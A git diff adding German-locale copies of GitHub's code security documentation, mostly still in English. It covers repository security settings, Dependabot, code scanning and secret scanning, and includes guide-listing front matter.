+The first step to securing a repository is to set up who can see and modify your code. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)."
+
+From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**, then scroll down to the "Danger Zone."
+
+- To change who can view your repository, click **Change visibility**. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+- To change who can access your repository and adjust permissions, click **Manage access**. For more information, see"[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)."{% endif %}
+
+## Setting a security policy
+
+1. From the main page of your repository, click **{% octicon "shield" aria-label="The shield symbol" %} Security**.
+2. Click **Security policy**.
+3. Click **Start setup**.
+4. Add information about supported versions of your project and how to report vulnerabilities.
+
+For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)."
+
+## Managing the dependency graph
+
+{% ifversion fpt or ghec %}
+The dependency graph is automatically generated for all public repositories, and you can choose to enable it for private repositories. It interprets manifest and lock files in a repository to identify dependencies.
+
+1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %} Settings**.
+2. Click **Security & analysis**.
+3. Next to Dependency graph, click **Enable** or **Disable**.
+{% endif %}
+
+{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
+
+For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)."
+
+## Managing {% data variables.product.prodname_dependabot_alerts %}
+
+{% data variables.product.prodname_dependabot_alerts %} are generated when {% data variables.product.prodname_dotcom %} identifies a dependency in the dependency graph with a vulnerability. {% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for any repository.{% endif %}
+
+{% ifversion fpt or ghec %}
+1. Click your profile photo, then click **Settings**.
+2. Click **Security & analysis**.
+3. Click **Enable all** next to {% data variables.product.prodname_dependabot_alerts %}.
+{% endif %}
+
+{% data reusables.dependabot.dependabot-alerts-beta %}
+{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
+
+For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies){% ifversion fpt or ghec %}" and "[Managing security and analysis settings for your personal account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account){% endif %}."
+
+## Managing dependency review
+
+Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+
+Dependency review is a {% data variables.product.prodname_GH_advanced_security %} feature. {% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec or ghes or ghae %}To enable dependency review for a {% ifversion ghec %}private or internal {% endif %}repository, ensure that the dependency graph is enabled and enable {% data variables.product.prodname_GH_advanced_security %}. 
+
+1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
+2. Click **Security & analysis**.
+3. {% ifversion ghec %}If dependency graph is not already enabled, click **Enable**.{% elsif ghes or ghae %}Check that dependency graph is configured for your enterprise.{% endif %}
+4. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**.
+
+{% endif %}
+
+{% ifversion fpt or ghec or ghes %}
+
+## Managing {% data variables.product.prodname_dependabot_security_updates %}
+
+For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected.
+
+1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
+2. Click **Security & analysis**.
+3. Next to {% data variables.product.prodname_dependabot_security_updates %}, click **Enable**.
+
+For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/configuring-dependabot-security-updates)."
+
+## Managing {% data variables.product.prodname_dependabot_version_updates %}
+
+You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)."
+
+{% ifversion dependabot-settings-update-37 %}
+1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %} Settings**.
+2. Click **Security & analysis**.
+3. Next to {% data variables.product.prodname_dependabot_version_updates %}, click **Enable** to create a basic *dependabot.yml* configuration file.
+4. Specify the dependencies to update and commit the file to the repository. For more information, see "[Configuring Dependabot version updates](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates)."
+
+{% else %}
+To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
+{% endif %}
+
+{% endif %}
+
+## Configuring {% data variables.product.prodname_code_scanning %}
+
+You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.code-scanning.codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+
+{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}.
+
+## Configuring {% data variables.product.prodname_secret_scanning %}
+
+{% data variables.product.prodname_secret_scanning_caps %} is {% ifversion fpt or ghec %}enabled for all public repositories and is available for private repositories owned by organizations that are part of an enterprise with a license for {% else %}available for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#configuring-secret-scanning).{% else %}{% data variables.product.prodname_secret_scanning_caps %} may already be enabled for your repository, depending upon your organization's settings.
+
+1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
+2. Click **Security & analysis**.
+3. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**.
+4. Next to {% data variables.product.prodname_secret_scanning_caps %}, click **Enable**. 
+{% endif %}
+
+## Next steps
+You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts),"{% endif %} {% ifversion fpt or ghec or ghes %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+
+{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About repository security advisories](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)."
+{% endif %}
diff --git a/translations/de-DE/content/code-security/guides.md b/translations/de-DE/content/code-security/guides.md
new file mode 100644
index 0000000000..2f6d4a24bd
--- /dev/null
+++ b/translations/de-DE/content/code-security/guides.md
@@ -0,0 +1,102 @@
+---
+title: Leitfäden für Codesicherheit
+intro: 'Hier erfährst du, wie du mit {% data variables.product.product_name %} die Sicherheit deines Codes verbessern kannst.'
+allowTitleToDifferFromFilename: true
+layout: product-guides
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+learningTracks:
+  - security_advisories
+  - dependabot_alerts
+  - dependabot_security_updates
+  - dependency_version_updates
+  - security_alerts
+  - secret_scanning
+  - code_security_actions
+  - code_security_ci
+  - code_security_integration
+  - end_to_end_supply_chain
+includeGuides:
+  - /code-security/getting-started/adding-a-security-policy-to-your-repository
+  - /code-security/getting-started/github-security-features
+  - /code-security/getting-started/securing-your-organization
+  - /code-security/getting-started/securing-your-repository
+  - /code-security/secret-scanning/about-secret-scanning
+  - /code-security/secret-scanning/configuring-secret-scanning-for-your-repositories
+  - /code-security/secret-scanning/defining-custom-patterns-for-secret-scanning
+  - /code-security/secret-scanning/managing-alerts-from-secret-scanning
+  - /code-security/secret-scanning/protecting-pushes-with-secret-scanning
+  - /code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection
+  - /code-security/secret-scanning/secret-scanning-patterns
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow
+  - /code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs
+  - /code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning
+  - /code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning
+  - /code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github
+  - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system
+  - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system
+  - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system
+  - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system
+  - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli
+  - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system
+  - /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system
+  - /code-security/repository-security-advisories/about-github-security-advisories-for-repositories
+  - /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository
+  - /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory
+  - /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability
+  - /code-security/repository-security-advisories/creating-a-repository-security-advisory
+  - /code-security/repository-security-advisories/editing-a-repository-security-advisory
+  - /code-security/repository-security-advisories/permission-levels-for-repository-security-advisories
+  - /code-security/repository-security-advisories/publishing-a-repository-security-advisory
+  - /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory
+  - /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory
+  - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities
+  - /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories
+  - /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability
+  - /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities
+  - /code-security/security-overview/about-the-security-overview
+  - /code-security/security-overview/filtering-alerts-in-the-security-overview
+  - /code-security/security-overview/viewing-the-security-overview
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/customizing-dependency-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository
+  - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review
+  - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph
+  - /code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api
+  - /code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository
+ms.openlocfilehash: 2c22dbc00b2188e78fbd977b775bc971697926ec
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159213'
+---
+
diff --git a/translations/de-DE/content/code-security/index.md b/translations/de-DE/content/code-security/index.md
new file mode 100644
index 0000000000..ca08534264
--- /dev/null
+++ b/translations/de-DE/content/code-security/index.md
@@ -0,0 +1,62 @@
+---
+title: Code security
+shortTitle: Code security
+intro: 'Build security into your {% data variables.product.prodname_dotcom %} workflow with features to keep secrets and vulnerabilities out of your codebase{% ifversion not ghae %}, and to maintain your software supply chain{% endif %}.'
+introLinks:
+  overview: /code-security/getting-started/github-security-features
+featuredLinks:
+  guides:
+    - /code-security/getting-started/securing-your-repository
+    - /code-security/getting-started/securing-your-organization
+    - '{% ifversion fpt or ghec %}/code-security/repository-security-advisories/creating-a-repository-security-advisory{% endif %}'
+    - '{% ifversion ghes or ghae %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository{% endif%}'
+  guideCards:
+    - '{% ifversion fpt or ghec or ghes > 3.2 %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates{% endif %}'
+    - '{% ifversion fpt or ghec or ghes > 3.2 %}/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates{% endif %}'
+    - '{% ifversion fpt or ghec or ghes > 3.2 %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository{% endif %}'
+    - '{% ifversion ghes < 3.3 %}/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository{% endif %}'
+    - '{% ifversion ghes < 3.3 %}/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies{% endif %}'
+    - '{% ifversion ghes < 3.3 or ghae %}/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories{% endif %}'
+    - '{% ifversion ghae %}/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github{% endif %}'
+    - '{% ifversion ghae %}/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system{% endif %}'
+    - /code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview
+  popular:
+    - '{% ifversion ghes %}/admin/release-notes{% endif %}'
+    - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies
+    - /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities
+    - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot
+    - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates
+    - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot
+    - '{% ifversion ghae %}/code-security/secret-scanning/about-secret-scanning{% endif %}'
+    - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies
+    - '{% ifversion ghes < 3.3 or ghae %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages{% endif %}'
+    - '{% ifversion ghes < 3.3 or ghae %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow{% endif %}'
+    - '{% ifversion ghes < 3.3 or ghae %}/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container{% endif %}'
+changelog:
+  label: security-and-compliance
+  versions:
+    fpt: '*'
+    ghec: '*'
+examples_source: data/product-examples/code-security/code-examples.yml
+layout: product-landing
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+  - Dependencies
+  - Vulnerabilities
+children:
+  - /getting-started
+  - /adopting-github-advanced-security-at-scale
+  - /secret-scanning
+  - /code-scanning
+  - /security-advisories
+  - /supply-chain-security
+  - /dependabot
+  - /security-overview
+  - /guides
+---
+
diff --git a/translations/de-DE/content/code-security/secret-scanning/about-secret-scanning.md b/translations/de-DE/content/code-security/secret-scanning/about-secret-scanning.md
new file mode 100644
index 0000000000..17e96efea3
--- /dev/null
+++ b/translations/de-DE/content/code-security/secret-scanning/about-secret-scanning.md
@@ -0,0 +1,115 @@
+---
+title: About secret scanning
+intro: '{% data variables.product.product_name %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.'
+product: '{% data reusables.gated-features.secret-scanning-partner %}'
+redirect_from:
+  - /github/administering-a-repository/about-token-scanning
+  - /articles/about-token-scanning
+  - /articles/about-token-scanning-for-private-repositories
+  - /github/administering-a-repository/about-secret-scanning
+  - /code-security/secret-security/about-secret-scanning
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Secret scanning
+  - Advanced Security
+---
+
+{% data reusables.secret-scanning.beta %}
+{% data reusables.secret-scanning.enterprise-enable-secret-scanning %}
+
+## About {% data variables.product.prodname_secret_scanning %}
+
+If your project communicates with an external service, you might use a token or private key for authentication. Tokens and private keys are examples of secrets that a service provider can issue. If you check a secret into a repository, anyone who has read access to the repository can use the secret to access the external service with your privileges. We recommend that you store secrets in a dedicated, secure location outside of the repository for your project.
+
+{% data variables.product.prodname_secret_scanning_caps %} will scan your entire Git history on all branches present in your {% data variables.product.prodname_dotcom %} repository for secrets{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}, even if the repository is archived{% endif %}.
+
+{% ifversion fpt or ghec %}
+{% data variables.product.prodname_secret_scanning_caps %} is available on {% data variables.product.prodname_dotcom_the_website %} in two forms:
+
+1. **{% data variables.product.prodname_secret_scanning_partner_caps %}.** Runs automatically on all public repositories. Any strings that match patterns that were provided by secret scanning partners are reported directly to the relevant partner.
+
+2. **{% data variables.product.prodname_secret_scanning_GHAS_caps %}.** {% ifversion fpt %}Organizations using {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can enable and configure additional scanning for repositories owned by the organization.{% elsif ghec %}You can enable and configure additional scanning for repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}.{% endif %} Any strings that match patterns provided by secret scanning partners, by other service providers, or defined by your organization, are reported as alerts in the "Security" tab of repositories. If a string in a public repository matches a partner pattern, it is also reported to the partner.{% endif %}{% ifversion fpt %} For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/secret-security/about-secret-scanning#about-secret-scanning-for-advanced-security).{% endif %}
+
+Service providers can partner with {% data variables.product.company_short %} to provide their secret formats for scanning. {% data reusables.secret-scanning.partner-program-link %}
+
+{% ifversion secret-scanning-push-protection %}
+
+You can also enable {% data variables.product.prodname_secret_scanning %} as a push protection for a repository or an organization. When you enable this feature, {% data variables.product.prodname_secret_scanning %} prevents contributors from pushing code with a detected secret. To proceed, contributors must either remove the secret(s) from the push or, if needed, bypass the protection. {% ifversion push-protection-custom-link-orgs %}Admins can also specify a custom link that is displayed to the contributor when a push is blocked; the link can contain resources specific to the organization to aid contributors. {% endif %}For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+## About {% data variables.product.prodname_secret_scanning_partner %}
+
+When you make a repository public, or push changes to a public repository, {% data variables.product.product_name %} always scans the code for secrets that match partner patterns. If {% data variables.product.prodname_secret_scanning %} detects a potential secret, we notify the service provider who issued the secret. The service provider validates the string and then decides whether they should revoke the secret, issue a new secret, or contact you directly. Their action will depend on the associated risks to you or them. For more information, see "[Supported secrets for partner patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-partner-patterns)."
+
+You cannot change the configuration of {% data variables.product.prodname_secret_scanning %} on public repositories.
+
+{% ifversion fpt %}
+{% note %}
+
+{% data reusables.secret-scanning.fpt-GHAS-scans %}
+
+{% endnote %}
+{% endif %}
+
+{% endif %}
+
+{% ifversion not fpt %}
+
+{% ifversion ghec %}
+## About {% data variables.product.prodname_secret_scanning_GHAS %}
+{% elsif ghes or ghae %}
+## About {% data variables.product.prodname_secret_scanning %} on {% data variables.product.product_name %}
+{% endif %}
+
+{% data variables.product.prodname_secret_scanning_GHAS_caps %} is available on all organization-owned repositories as part of {% data variables.product.prodname_GH_advanced_security %}. It is not available on user-owned repositories. When you enable {% data variables.product.prodname_secret_scanning %} for a repository, {% data variables.product.prodname_dotcom %} scans the code for patterns that match secrets used by many service providers. {% ifversion secret-scanning-backfills %}{% data variables.product.prodname_dotcom %} will also periodically run a full git history scan of existing content in {% data variables.product.prodname_GH_advanced_security %} repositories where {% data variables.product.prodname_secret_scanning %} is enabled, and send alert notifications following the {% data variables.product.prodname_secret_scanning %} alert notification settings. {% endif %}For more information, see "{% ifversion ghec %}[Supported secrets for advanced security](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-advanced-security){% else %}[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns){% endif %}."
+
+If you're a repository administrator you can enable {% data variables.product.prodname_secret_scanning_GHAS %} for any repository{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}, including archived repositories{% endif %}. Organization owners can also enable {% data variables.product.prodname_secret_scanning_GHAS %} for all repositories or for all new repositories within an organization. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+
+{% ifversion ghes or ghae or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns for a repository, organization, or enterprise. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)."
+{% endif %}
+
+{% ifversion secret-scanning-ghas-store-tokens %}
+{% data variables.product.company_short %} stores detected secrets using symmetric encryption, both in transit and at rest.{% endif %}{% ifversion ghes > 3.7 %} To rotate the encryption keys used for storing the detected secrets, you can contact {% data variables.contact.contact_ent_support %}.{% endif %}
+
+### About {% data variables.product.prodname_secret_scanning %} alerts
+
+When you enable {% data variables.product.prodname_secret_scanning %} for a repository or push commits to a repository with {% data variables.product.prodname_secret_scanning %} enabled, {% data variables.product.prodname_dotcom %} scans the contents of those commits for secrets that match patterns defined by service providers{% ifversion ghes or ghae or ghec %} and any custom patterns defined in your enterprise, organization, or repository{% endif %}. {% ifversion secret-scanning-backfills %}{% data variables.product.prodname_dotcom %} also periodically runs a scan of all historical content in repositories with {% data variables.product.prodname_secret_scanning %} enabled.{% endif%}
+
+If {% data variables.product.prodname_secret_scanning %} detects a secret, {% data variables.product.prodname_dotcom %} generates an alert.
+
+- {% data variables.product.prodname_dotcom %} sends an email alert to the repository administrators and organization owners. You'll receive an alert if you are watching the repository, and if you have enabled notifications either for security alerts or for all the activity on the repository.
+{% ifversion ghes or ghae or ghec %}
+- If the contributor who committed the secret isn't ignoring the repository, {% data variables.product.prodname_dotcom %} will also send an email alert to the contributor. The emails contains a link to the related {% data variables.product.prodname_secret_scanning %} alert. The commit author can then view the alert in the repository, and resolve the alert.
+{% endif %}
+- {% data variables.product.prodname_dotcom %} displays an alert in the "Security" tab of the repository.
+
+{% ifversion ghes or ghae or ghec %}
+For more information about viewing and resolving {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %}
+
+Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."
+
+{% ifversion ghec or ghes or ghae > 3.4 %}
+You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview)."
+{% endif %}
+
+{%- ifversion ghec or ghes or ghae %}You can also use the REST API to 
+monitor results from {% data variables.product.prodname_secret_scanning %} across your {% ifversion ghec %}private {% endif %}repositories{% ifversion ghes %} or your organization{% endif %}. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %}
+
+{% endif %}
+
+## Further reading
+
+- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
+- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)"
+{%- ifversion fpt or ghec %}
+- "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)"{% endif %}
+{%- ifversion fpt or ghec or ghes %}
+- "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)"{% endif %}
+- "[Encrypted secrets](/actions/security-guides/encrypted-secrets)"
diff --git a/translations/de-DE/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md b/translations/de-DE/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
new file mode 100644
index 0000000000..f399272959
--- /dev/null
+++ b/translations/de-DE/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
@@ -0,0 +1,87 @@
+---
+title: Configuring secret scanning for your repositories
+intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans your repositories for secrets that match advanced security patterns.'
+product: '{% data reusables.gated-features.secret-scanning %}'
+permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_secret_scanning_GHAS %} for the repository.'
+redirect_from:
+  - /github/administering-a-repository/configuring-secret-scanning-for-private-repositories
+  - /github/administering-a-repository/configuring-secret-scanning-for-your-repositories
+  - /code-security/secret-security/configuring-secret-scanning-for-your-repositories
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Secret scanning
+  - Advanced Security
+  - Repositories
+shortTitle: Configure secret scans
+---
+
+{% data reusables.secret-scanning.beta %}
